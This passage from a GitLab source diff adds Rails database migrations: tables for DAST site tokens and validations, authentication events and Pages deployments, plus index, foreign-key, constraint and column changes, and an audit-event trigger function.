+ unless table_exists?(:dast_site_tokens)
+ with_lock_retries do
+ create_table :dast_site_tokens do |t|
+ t.references :project, foreign_key: { on_delete: :cascade }, null: false, index: true
+
+ t.timestamps_with_timezone null: false
+ t.datetime_with_timezone :expired_at
+
+ t.text :token, null: false, unique: true
+ t.text :url, null: false
+ end
+ end
+ end
+
+ add_text_limit :dast_site_tokens, :token, 255
+ add_text_limit :dast_site_tokens, :url, 255
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :dast_site_tokens
+ end
+ end
+end
diff --git a/db/migrate/20200907062101_create_dast_site_validations.rb b/db/migrate/20200907062101_create_dast_site_validations.rb
new file mode 100644
index 00000000000..5ff2084d693
--- /dev/null
+++ b/db/migrate/20200907062101_create_dast_site_validations.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class CreateDastSiteValidations < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:dast_site_validations)
+ with_lock_retries do
+ create_table :dast_site_validations do |t|
+ t.references :dast_site_token, foreign_key: { on_delete: :cascade }, null: false, index: true
+
+ t.timestamps_with_timezone null: false
+ t.datetime_with_timezone :validation_started_at
+ t.datetime_with_timezone :validation_passed_at
+ t.datetime_with_timezone :validation_failed_at
+ t.datetime_with_timezone :validation_last_retried_at
+
+ t.integer :validation_strategy, null: false, limit: 2
+
+ t.text :url_base, null: false
+ t.text :url_path, null: false
+ end
+ end
+ end
+
+ add_concurrent_index :dast_site_validations, :url_base
+ add_text_limit :dast_site_validations, :url_base, 255
+ add_text_limit :dast_site_validations, :url_path, 255
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :dast_site_validations
+ end
+ end
+end
diff --git a/db/migrate/20200908033805_add_dast_site_validation_id_to_dast_site.rb b/db/migrate/20200908033805_add_dast_site_validation_id_to_dast_site.rb
new file mode 100644
index 00000000000..3ac86fb1d9e
--- /dev/null
+++ b/db/migrate/20200908033805_add_dast_site_validation_id_to_dast_site.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class AddDastSiteValidationIdToDastSite < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ TABLE_NAME = :dast_sites
+ RELATION_NAME = :dast_site_validations
+ FK_NAME = :dast_site_validation_id
+ INDEX_NAME = "index_dast_sites_on_#{FK_NAME}"
+
+ disable_ddl_transaction!
+
+ def up
+ unless column_exists?(TABLE_NAME, FK_NAME)
+ with_lock_retries do
+ add_column TABLE_NAME, FK_NAME, :bigint
+ end
+ end
+
+ add_concurrent_index TABLE_NAME, FK_NAME, name: INDEX_NAME
+ add_concurrent_foreign_key TABLE_NAME, RELATION_NAME, column: FK_NAME, on_delete: :nullify
+ end
+
+ def down
+ remove_foreign_key_if_exists TABLE_NAME, RELATION_NAME
+ remove_concurrent_index_by_name TABLE_NAME, INDEX_NAME
+
+ with_lock_retries do
+ remove_column TABLE_NAME, FK_NAME
+ end
+ end
+end
diff --git a/db/migrate/20200908100053_create_authentication_events.rb b/db/migrate/20200908100053_create_authentication_events.rb
new file mode 100644
index 00000000000..2ea9f4e24af
--- /dev/null
+++ b/db/migrate/20200908100053_create_authentication_events.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class CreateAuthenticationEvents < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:authentication_events)
+ with_lock_retries do
+ create_table :authentication_events do |t|
+ t.datetime_with_timezone :created_at, null: false
+ t.references :user, foreign_key: { on_delete: :nullify }, index: true
+ t.integer :result, limit: 2, null: false
+ t.inet :ip_address
+ t.text :provider, null: false, index: true
+ t.text :user_name, null: false
+ end
+ end
+ end
+
+ add_text_limit :authentication_events, :provider, 64
+ add_text_limit :authentication_events, :user_name, 255
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :authentication_events
+ end
+ end
+end
diff --git a/db/migrate/20200908183231_add_check_positive_constraint_to_ci_platform_metrics.rb b/db/migrate/20200908183231_add_check_positive_constraint_to_ci_platform_metrics.rb
new file mode 100644
index 00000000000..8593e03b5d8
--- /dev/null
+++ b/db/migrate/20200908183231_add_check_positive_constraint_to_ci_platform_metrics.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddCheckPositiveConstraintToCiPlatformMetrics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ CONSTRAINT_NAME = 'ci_platform_metrics_check_count_positive'
+
+ def up
+ add_check_constraint :ci_platform_metrics, 'count > 0', CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint :ci_platform_metrics, CONSTRAINT_NAME
+ end
+end
diff --git a/db/migrate/20200911120132_create_pages_deployments.rb b/db/migrate/20200911120132_create_pages_deployments.rb
new file mode 100644
index 00000000000..25327a76900
--- /dev/null
+++ b/db/migrate/20200911120132_create_pages_deployments.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class CreatePagesDeployments < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ create_table :pages_deployments, if_not_exists: true do |t|
+ t.timestamps_with_timezone
+
+ t.bigint :project_id, index: true, null: false
+ t.bigint :ci_build_id, index: true
+
+ t.integer :file_store, null: false, limit: 2
+ t.integer :size, null: false
+ t.text :file, null: false
+ end
+
+ add_text_limit :pages_deployments, :file, 255
+ end
+
+ def down
+ drop_table :pages_deployments
+ end
+end
diff --git a/db/migrate/20200911121027_add_pages_deployment_project_foreign_key.rb b/db/migrate/20200911121027_add_pages_deployment_project_foreign_key.rb
new file mode 100644
index 00000000000..70418881c4f
--- /dev/null
+++ b/db/migrate/20200911121027_add_pages_deployment_project_foreign_key.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddPagesDeploymentProjectForeignKey < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :pages_deployments, :projects, column: :project_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :pages_deployments, column: :project_id
+ end
+ end
+end
diff --git a/db/migrate/20200911121048_add_pages_deployment_ci_build_foreign_key.rb b/db/migrate/20200911121048_add_pages_deployment_ci_build_foreign_key.rb
new file mode 100644
index 00000000000..ece721d88d5
--- /dev/null
+++ b/db/migrate/20200911121048_add_pages_deployment_ci_build_foreign_key.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddPagesDeploymentCiBuildForeignKey < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :pages_deployments, :ci_builds, column: :ci_build_id, on_delete: :nullify # rubocop:disable Migration/AddConcurrentForeignKey
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :pages_deployments, column: :ci_build_id
+ end
+ end
+end
diff --git a/db/migrate/20200914091326_change_build_pending_state_enums.rb b/db/migrate/20200914091326_change_build_pending_state_enums.rb
new file mode 100644
index 00000000000..dadb15e8844
--- /dev/null
+++ b/db/migrate/20200914091326_change_build_pending_state_enums.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class ChangeBuildPendingStateEnums < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ change_column :ci_build_pending_states, :state, :integer, limit: 2
+ change_column :ci_build_pending_states, :failure_reason, :integer, limit: 2
+ end
+
+ def down
+ change_column :ci_build_pending_states, :state, :integer
+ change_column :ci_build_pending_states, :failure_reason, :integer
+ end
+end
diff --git a/db/migrate/20200914104642_modify_merge_request_api_index.rb b/db/migrate/20200914104642_modify_merge_request_api_index.rb
new file mode 100644
index 00000000000..c21404a10c2
--- /dev/null
+++ b/db/migrate/20200914104642_modify_merge_request_api_index.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class ModifyMergeRequestApiIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :merge_requests, [:target_project_id, :created_at, :id], name: :index_merge_requests_on_target_project_id_and_created_at_and_id
+ end
+
+ def down
+ remove_concurrent_index :merge_requests, [:target_project_id, :created_at, :id], name: :index_merge_requests_on_target_project_id_and_created_at_and_id
+ end
+end
diff --git a/db/migrate/20200914105202_remove_old_merge_request_api_index.rb b/db/migrate/20200914105202_remove_old_merge_request_api_index.rb
new file mode 100644
index 00000000000..826833dbfb2
--- /dev/null
+++ b/db/migrate/20200914105202_remove_old_merge_request_api_index.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class RemoveOldMergeRequestApiIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index :merge_requests, [:target_project_id, :created_at], name: :index_merge_requests_target_project_id_created_at
+ end
+
+ def down
+ add_concurrent_index :merge_requests, [:target_project_id, :created_at], name: :index_merge_requests_target_project_id_created_at
+ end
+end
diff --git a/db/migrate/20200914155135_add_deduplicated_flag_into_security_findings_table.rb b/db/migrate/20200914155135_add_deduplicated_flag_into_security_findings_table.rb
new file mode 100644
index 00000000000..f403c2d9a07
--- /dev/null
+++ b/db/migrate/20200914155135_add_deduplicated_flag_into_security_findings_table.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddDeduplicatedFlagIntoSecurityFindingsTable < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :security_findings, :deduplicated, :boolean, default: false, null: false
+ end
+end
diff --git a/db/migrate/20200914183227_add_index_on_deduplicated_column_of_security_findings.rb b/db/migrate/20200914183227_add_index_on_deduplicated_column_of_security_findings.rb
new file mode 100644
index 00000000000..1d0f656df4d
--- /dev/null
+++ b/db/migrate/20200914183227_add_index_on_deduplicated_column_of_security_findings.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexOnDeduplicatedColumnOfSecurityFindings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_security_findings_on_scan_id_and_deduplicated'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :security_findings, [:scan_id, :deduplicated], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :security_findings, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20200914184212_remove_index_on_security_findings_scan_id.rb b/db/migrate/20200914184212_remove_index_on_security_findings_scan_id.rb
new file mode 100644
index 00000000000..342dba537d5
--- /dev/null
+++ b/db/migrate/20200914184212_remove_index_on_security_findings_scan_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class RemoveIndexOnSecurityFindingsScanId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_security_findings_on_scan_id'
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :security_findings, INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :security_findings, :scan_id, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20200915152641_add_verification_state_to_terraform_state_version.rb b/db/migrate/20200915152641_add_verification_state_to_terraform_state_version.rb
new file mode 100644
index 00000000000..9cc9a702397
--- /dev/null
+++ b/db/migrate/20200915152641_add_verification_state_to_terraform_state_version.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddVerificationStateToTerraformStateVersion < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ change_table(:terraform_state_versions) do |t|
+ t.integer :verification_retry_count, limit: 2
+ t.column :verification_retry_at, :datetime_with_timezone
+ t.column :verified_at, :datetime_with_timezone
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+
+ # rubocop:disable Migration/AddLimitToTextColumns
+ t.text :verification_failure
+ # rubocop:enable Migration/AddLimitToTextColumns
+ end
+ end
+end
diff --git a/db/migrate/20200915164448_add_verification_failure_limit_to_terraform_state_version.rb b/db/migrate/20200915164448_add_verification_failure_limit_to_terraform_state_version.rb
new file mode 100644
index 00000000000..810057a5f54
--- /dev/null
+++ b/db/migrate/20200915164448_add_verification_failure_limit_to_terraform_state_version.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddVerificationFailureLimitToTerraformStateVersion < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ CONSTRAINT_NAME = 'tf_state_versions_verification_failure_text_limit'
+
+ def up
+ add_text_limit :terraform_state_versions, :verification_failure, 255, constraint_name: CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint(:terraform_state_versions, CONSTRAINT_NAME)
+ end
+end
diff --git a/db/migrate/20200915164844_add_verification_failure_index_to_terraform_state_version.rb b/db/migrate/20200915164844_add_verification_failure_index_to_terraform_state_version.rb
new file mode 100644
index 00000000000..423484e74bb
--- /dev/null
+++ b/db/migrate/20200915164844_add_verification_failure_index_to_terraform_state_version.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class AddVerificationFailureIndexToTerraformStateVersion < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ FAILURE_INDEX_NAME = 'terraform_state_versions_verification_failure_partial'
+ CHECKSUM_INDEX_NAME = 'terraform_state_versions_verification_checksum_partial'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :terraform_state_versions, :verification_failure,
+ where: "(verification_failure IS NOT NULL)",
+ name: FAILURE_INDEX_NAME
+ add_concurrent_index :terraform_state_versions, :verification_checksum,
+ where: "(verification_checksum IS NOT NULL)",
+ name: CHECKSUM_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :terraform_state_versions, FAILURE_INDEX_NAME
+ remove_concurrent_index_by_name :terraform_state_versions, CHECKSUM_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20200710102418_delete_user_callout_alerts_moved.rb b/db/post_migrate/20200710102418_delete_user_callout_alerts_moved.rb
index e14cd7ac3ee..ac605ba494e 100644
--- a/db/post_migrate/20200710102418_delete_user_callout_alerts_moved.rb
+++ b/db/post_migrate/20200710102418_delete_user_callout_alerts_moved.rb
@@ -13,7 +13,7 @@ class DeleteUserCalloutAlertsMoved < ActiveRecord::Migration[6.0]
BATCH_SIZE = 1_000
- # Inlined from UserCalloutEnums.feature_names
+ # Inlined from Enums::UserCallout.feature_names
FEATURE_NAME_ALERTS_MOVED = 20
def up
diff --git a/db/post_migrate/20200810191256_remove_pipeline_id_from_test_reports.rb b/db/post_migrate/20200810191256_remove_pipeline_id_from_test_reports.rb
new file mode 100644
index 00000000000..4a5e6942371
--- /dev/null
+++ b/db/post_migrate/20200810191256_remove_pipeline_id_from_test_reports.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class RemovePipelineIdFromTestReports < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ remove_column :requirements_management_test_reports, :pipeline_id
+ end
+
+ def down
+ add_column :requirements_management_test_reports, :pipeline_id, :integer
+
+ with_lock_retries do
+ # rubocop:disable Migration/AddConcurrentForeignKey
+ add_foreign_key :requirements_management_test_reports, :ci_pipelines, column: :pipeline_id, on_delete: :nullify
+ # rubocop:enable Migration/AddConcurrentForeignKey
+ end
+ end
+end
diff --git a/db/post_migrate/20200811130000_create_index_vulnerabilities_feedback_issue_id_not_null.rb b/db/post_migrate/20200811130000_create_index_vulnerabilities_feedback_issue_id_not_null.rb
new file mode 100644
index 00000000000..118076eb254
--- /dev/null
+++ b/db/post_migrate/20200811130000_create_index_vulnerabilities_feedback_issue_id_not_null.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class CreateIndexVulnerabilitiesFeedbackIssueIdNotNull < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :vulnerability_feedback, :id, where: 'issue_id IS NOT NULL',
+ name: "index_vulnerability_feedback_on_issue_id_not_null"
+ end
+
+ def down
+ remove_concurrent_index_by_name :vulnerability_feedback,
+ :index_vulnerability_feedback_on_issue_id_not_null
+ end
+end
diff --git a/db/post_migrate/20200811130433_create_missing_vulnerabilities_issue_links.rb b/db/post_migrate/20200811130433_create_missing_vulnerabilities_issue_links.rb
new file mode 100644
index 00000000000..891201eaa52
--- /dev/null
+++ b/db/post_migrate/20200811130433_create_missing_vulnerabilities_issue_links.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+class CreateMissingVulnerabilitiesIssueLinks < ActiveRecord::Migration[6.0]
+ class VulnerabilitiesFeedback < ActiveRecord::Base
+ include EachBatch
+ self.table_name = 'vulnerability_feedback'
+ end
+
+ class VulnerabilitiesIssueLink < ActiveRecord::Base
+ self.table_name = 'vulnerability_issue_links'
+ LINK_TYPE_CREATED = 2
+ end
+
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ VulnerabilitiesFeedback.where('issue_id IS NOT NULL').each_batch do |relation|
+ timestamp = Time.now
+ issue_links = relation
+ .joins("JOIN vulnerability_occurrences vo ON vo.project_id = vulnerability_feedback.project_id AND vo.report_type = vulnerability_feedback.category AND encode(vo.project_fingerprint, 'hex') = vulnerability_feedback.project_fingerprint")
+ .where('vo.vulnerability_id IS NOT NULL')
+ .pluck(:vulnerability_id, :issue_id)
+ .map do |v_id, i_id|
+ {
+ vulnerability_id: v_id,
+ issue_id: i_id,
+ link_type: VulnerabilitiesIssueLink::LINK_TYPE_CREATED,
+ created_at: timestamp,
+ updated_at: timestamp
+ }
+ end
+
+ next if issue_links.empty?
+
+ VulnerabilitiesIssueLink.insert_all(
+ issue_links,
+ returning: false
+ )
+ end
+ end
+
+ def down
+ end
+end
diff --git a/db/post_migrate/20200811211536_add_index_to_ci_job_artifacts_for_terraform_reports_id.rb b/db/post_migrate/20200811211536_add_index_to_ci_job_artifacts_for_terraform_reports_id.rb
new file mode 100644
index 00000000000..6042f90cf85
--- /dev/null
+++ b/db/post_migrate/20200811211536_add_index_to_ci_job_artifacts_for_terraform_reports_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexToCiJobArtifactsForTerraformReportsId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_ci_job_artifacts_id_for_terraform_reports'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_job_artifacts, :id, where: 'file_type = 18', name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_job_artifacts, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20200817100710_add_section_and_created_at_codeowner_approval_merge_request_index.rb b/db/post_migrate/20200817100710_add_section_and_created_at_codeowner_approval_merge_request_index.rb
new file mode 100644
index 00000000000..33de4f1f790
--- /dev/null
+++ b/db/post_migrate/20200817100710_add_section_and_created_at_codeowner_approval_merge_request_index.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class AddSectionAndCreatedAtCodeownerApprovalMergeRequestIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ SECTION_CREATED_AT_ON_CODEOWNER_APPROVAL_MERGE_REQUEST_RULES = "index_created_at_on_codeowner_approval_merge_request_rules"
+ RULE_TYPE_CODEOWNERS = 2
+ CODEOWNER_SECTION_DEFAULT = 'codeowners'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :approval_merge_request_rules, :created_at,
+ where: "rule_type = #{RULE_TYPE_CODEOWNERS} AND section != '#{CODEOWNER_SECTION_DEFAULT}'::text",
+ name: SECTION_CREATED_AT_ON_CODEOWNER_APPROVAL_MERGE_REQUEST_RULES
+ end
+
+ def down
+ remove_concurrent_index_by_name :approval_merge_request_rules, SECTION_CREATED_AT_ON_CODEOWNER_APPROVAL_MERGE_REQUEST_RULES
+ end
+end
diff --git a/db/post_migrate/20200819082334_remove_default_from_services.rb b/db/post_migrate/20200819082334_remove_default_from_services.rb
new file mode 100644
index 00000000000..2a990016c95
--- /dev/null
+++ b/db/post_migrate/20200819082334_remove_default_from_services.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class RemoveDefaultFromServices < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ remove_column :services, :default, :boolean
+ end
+ end
+
+ def down
+ with_lock_retries do
+ add_column :services, :default, :boolean, default: false
+ end
+ end
+end
diff --git a/db/post_migrate/20200819113644_add_target_id_to_audit_events.rb b/db/post_migrate/20200819113644_add_target_id_to_audit_events.rb
new file mode 100644
index 00000000000..c2d9aff928b
--- /dev/null
+++ b/db/post_migrate/20200819113644_add_target_id_to_audit_events.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+class AddTargetIdToAuditEvents < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::SchemaHelpers
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ SOURCE_TABLE_NAME = 'audit_events'
+ PARTITIONED_TABLE_NAME = 'audit_events_part_5fc467ac26'
+ TRIGGER_FUNCTION_NAME = 'table_sync_function_2be879775d'
+
+ def up
+ with_lock_retries do
+ add_column(SOURCE_TABLE_NAME, :target_id, :bigint)
+ add_column(PARTITIONED_TABLE_NAME, :target_id, :bigint)
+
+ create_trigger_function(TRIGGER_FUNCTION_NAME, replace: true) do
+ <<~SQL
+ IF (TG_OP = 'DELETE') THEN
+ DELETE FROM #{PARTITIONED_TABLE_NAME} where id = OLD.id;
+ ELSIF (TG_OP = 'UPDATE') THEN
+ UPDATE #{PARTITIONED_TABLE_NAME}
+ SET author_id = NEW.author_id,
+ type = NEW.type,
+ entity_id = NEW.entity_id,
+ entity_type = NEW.entity_type,
+ details = NEW.details,
+ ip_address = NEW.ip_address,
+ author_name = NEW.author_name,
+ entity_path = NEW.entity_path,
+ target_details = NEW.target_details,
+ target_type = NEW.target_type,
+ target_id = NEW.target_id,
+ created_at = NEW.created_at
+ WHERE #{PARTITIONED_TABLE_NAME}.id = NEW.id;
+ ELSIF (TG_OP = 'INSERT') THEN
+ INSERT INTO #{PARTITIONED_TABLE_NAME} (id,
+ author_id,
+ type,
+ entity_id,
+ entity_type,
+ details,
+ ip_address,
+ author_name,
+ entity_path,
+ target_details,
+ target_type,
+ target_id,
+ created_at)
+ VALUES (NEW.id,
+ NEW.author_id,
+ NEW.type,
+ NEW.entity_id,
+ NEW.entity_type,
+ NEW.details,
+ NEW.ip_address,
+ NEW.author_name,
+ NEW.entity_path,
+ NEW.target_details,
+ NEW.target_type,
+ NEW.target_id,
+ NEW.created_at);
+ END IF;
+ RETURN NULL;
+ SQL
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column SOURCE_TABLE_NAME, :target_id
+
+ create_trigger_function(TRIGGER_FUNCTION_NAME, replace: true) do
+ <<~SQL
+ IF (TG_OP = 'DELETE') THEN
+ DELETE FROM #{PARTITIONED_TABLE_NAME} where id = OLD.id;
+ ELSIF (TG_OP = 'UPDATE') THEN
+ UPDATE #{PARTITIONED_TABLE_NAME}
+ SET author_id = NEW.author_id,
+ type = NEW.type,
+ entity_id = NEW.entity_id,
+ entity_type = NEW.entity_type,
+ details = NEW.details,
+ ip_address = NEW.ip_address,
+ author_name = NEW.author_name,
+ entity_path = NEW.entity_path,
+ target_details = NEW.target_details,
+ target_type = NEW.target_type,
+ created_at = NEW.created_at
+ WHERE #{PARTITIONED_TABLE_NAME}.id = NEW.id;
+ ELSIF (TG_OP = 'INSERT') THEN
+ INSERT INTO #{PARTITIONED_TABLE_NAME} (id,
+ author_id,
+ type,
+ entity_id,
+ entity_type,
+ details,
+ ip_address,
+ author_name,
+ entity_path,
+ target_details,
+ target_type,
+ created_at)
+ VALUES (NEW.id,
+ NEW.author_id,
+ NEW.type,
+ NEW.entity_id,
+ NEW.entity_type,
+ NEW.details,
+ NEW.ip_address,
+ NEW.author_name,
+ NEW.entity_path,
+ NEW.target_details,
+ NEW.target_type,
+ NEW.created_at);
+ END IF;
+ RETURN NULL;
+ SQL
+ end
+
+ remove_column PARTITIONED_TABLE_NAME, :target_id
+ end
+ end
+end
diff --git a/db/post_migrate/20200819202048_remove_orphaned_emails.rb b/db/post_migrate/20200819202048_remove_orphaned_emails.rb
new file mode 100644
index 00000000000..82cba244ad6
--- /dev/null
+++ b/db/post_migrate/20200819202048_remove_orphaned_emails.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class RemoveOrphanedEmails < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ execute <<~SQL
+ DELETE FROM emails
+ WHERE not exists (
+ SELECT 1 FROM users WHERE users.id = emails.user_id
+ );
+ SQL
+
+ execute 'DELETE FROM emails WHERE user_id IS NULL;'
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20200819202222_validate_emails_user_id_foreign_key.rb b/db/post_migrate/20200819202222_validate_emails_user_id_foreign_key.rb
new file mode 100644
index 00000000000..4f7f9deb540
--- /dev/null
+++ b/db/post_migrate/20200819202222_validate_emails_user_id_foreign_key.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class ValidateEmailsUserIdForeignKey < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ CONSTRAINT_NAME = 'fk_emails_user_id'
+
+ def up
+ validate_foreign_key :emails, :user_id, name: CONSTRAINT_NAME
+ end
+
+ def down
+ # no op
+ end
+end
diff --git a/db/post_migrate/20200824130028_remove_index_on_users_bio.rb b/db/post_migrate/20200824130028_remove_index_on_users_bio.rb
new file mode 100644
index 00000000000..d41734eb9ce
--- /dev/null
+++ b/db/post_migrate/20200824130028_remove_index_on_users_bio.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class RemoveIndexOnUsersBio < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ BACKGROUND_MIGRATION_CLASS = 'MigrateUsersBioToUserDetails'
+ INDEX_NAME = 'tmp_idx_on_user_id_where_bio_is_filled'
+
+ disable_ddl_transaction!
+
+ def up
+ Gitlab::BackgroundMigration.steal(BACKGROUND_MIGRATION_CLASS)
+ remove_concurrent_index_by_name(:users, INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index :users, :id, where: "(COALESCE(bio, '') IS DISTINCT FROM '')", name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20200824130447_remove_users_bio_column.rb b/db/post_migrate/20200824130447_remove_users_bio_column.rb
new file mode 100644
index 00000000000..cb630ec7fd5
--- /dev/null
+++ b/db/post_migrate/20200824130447_remove_users_bio_column.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class RemoveUsersBioColumn < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ remove_column :users, :bio
+ end
+ end
+
+ def down
+ with_lock_retries do
+ add_column :users, :bio, :string # rubocop: disable Migration/AddColumnsToWideTables
+ end
+ end
+end
diff --git a/db/post_migrate/20200826053152_add_index_on_ci_pipelines_source_for_on_demand_dast.rb b/db/post_migrate/20200826053152_add_index_on_ci_pipelines_source_for_on_demand_dast.rb
new file mode 100644
index 00000000000..6249adc9798
--- /dev/null
+++ b/db/post_migrate/20200826053152_add_index_on_ci_pipelines_source_for_on_demand_dast.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class AddIndexOnCiPipelinesSourceForOnDemandDast < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ INDEX_NAME = 'index_ci_pipelines_for_ondemand_dast_scans'
+
+ SOURCE_ONDEMAND_DAST_SCAN_PIPELINE = 13
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index(
+ :ci_pipelines, :id,
+ where: "source = #{SOURCE_ONDEMAND_DAST_SCAN_PIPELINE}",
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ remove_concurrent_index(
+ :ci_pipelines, :id,
+ where: "source = #{SOURCE_ONDEMAND_DAST_SCAN_PIPELINE}",
+ name: INDEX_NAME
+ )
+ end
+end
diff --git a/db/post_migrate/20200826121552_remove_ci_job_artifacts_locked.rb b/db/post_migrate/20200826121552_remove_ci_job_artifacts_locked.rb
new file mode 100644
index 00000000000..21c7acca7ac
--- /dev/null
+++ b/db/post_migrate/20200826121552_remove_ci_job_artifacts_locked.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class RemoveCiJobArtifactsLocked < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
